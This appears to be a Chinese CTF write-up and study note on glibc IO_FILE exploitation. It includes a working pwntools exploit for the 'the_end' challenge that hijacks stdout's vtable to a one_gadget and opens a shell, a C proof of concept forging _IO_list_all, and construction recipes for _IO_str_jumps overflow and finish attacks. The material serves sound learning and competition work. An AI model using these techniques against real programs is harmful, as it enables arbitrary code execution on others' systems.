75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = "debug",arch = "amd64")
filename='./the_end.the_end'
def connect():
global p,elf,libc
local = 1
if local:
p = process(['/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so', filename], env={"LD_PRELOAD":'/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'})
# p = process(filename)
else:
p = remote("node4.buuoj.cn", 25550)
elf = ELF(filename)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/mnt/hgfs/PWN/study_path/pwn_rm/pwn145_180/libc/64bit/libc-2.23.so")
# libc = ELF("/mnt/e/CTF/PWN/varctf/buuctf/exer/4/libc-2.27.so")
libc = ELF("/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda n :p.recv(n)
rl = lambda n :p.recvline(n)
ru = lambda x :p.recvuntil(x, drop=True)
r = lambda x :p.recv(x)
uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

def dbg(addr):
gdb.attach(sh,'b *0x{}\nc\n'.format(addr))

def db():
gdb.attach(p)

def change(addr1,byte):
s(p64(addr1))
s(p8(byte))

def pwn():
ru("here is a gift ")
sleep = int(ru(", "),16)
leak("sleep",sleep)
libc_addr = sleep - libc.sym["sleep"]
lg("libc_base",libc_addr)

one_gadget = libc_addr + 0xf1247
stdout_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stdout_']+0xd8
stderr_vtable_ptr = libc_addr + libc.sym['_IO_2_1_stderr_']+0xd8
lg("one_gadget",one_gadget)
lg("stdout_vtable_ptr",stdout_vtable_ptr)
lg("stderr_vtable_ptr",stderr_vtable_ptr)

fake_vtable_addr = stderr_vtable_ptr - 0x58 # fake虚表的位置
lg("fake_vtable_addr",fake_vtable_addr)
change(stdout_vtable_ptr,(fake_vtable_addr & 0xff))
change(stdout_vtable_ptr+1,((fake_vtable_addr >> 8) & 0xff)) #劫持stdout结构体的虚表指针指向fake table的位置(_IO_2_1_stderr_+128)

change(stderr_vtable_ptr,(one_gadget & 0xff))
change(stderr_vtable_ptr+1,((one_gadget >> 8) & 0xff))
change(stderr_vtable_ptr+2,((one_gadget >> 16) & 0xff))

sl("exec /bin/sh 1>&0")

p.interactive()



connect()
pwn()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

stdout_vtable_ptr -> stderr_vtable_ptr - 0x58 (实际上是stderr_vtable_ptr虚表的位置)

stderr_vtable_ptr -> one_gadget

FSOP

File Stream Oriented Programming 面向文件流编程

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

触发该函数需要绕过

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

ctfwiki给的示例很简单,具体利用有house of orange,后面再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}

glibc 2.24 下 IO_FILE 的利用

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

fileno 与缓冲区的相关利用

由于fwrite等函数会最终调用io函数,其缓冲区的初地址有buf_base决定,所以如果修改buf_base与buf_end就可以实现任意地址输入。

_IO_str_jumps -> overflow

libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。如果我们能设置文件指针的 vtable_IO_str_jumps 么就能调用不一样的文件操作函数。

构造条件:

  1. fp->_flags & _IO_NO_WRITES为假
  2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  6. fp+0xe0指向system地址

_IO_str_jumps -> finish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 条件:

_IO_buf_base 不为空
_flags & _IO_USER_BUF(0x01) 为假
构造:

_flags = (binsh_in_libc + 0x10) & ~1

_IO_buf_base = binsh_addr

_freeres_list = 0x2

_freeres_buf = 0x3

_mode = -1

vtable = _IO_str_finish - 0x18

fp+0xe8 -> system_addr
0%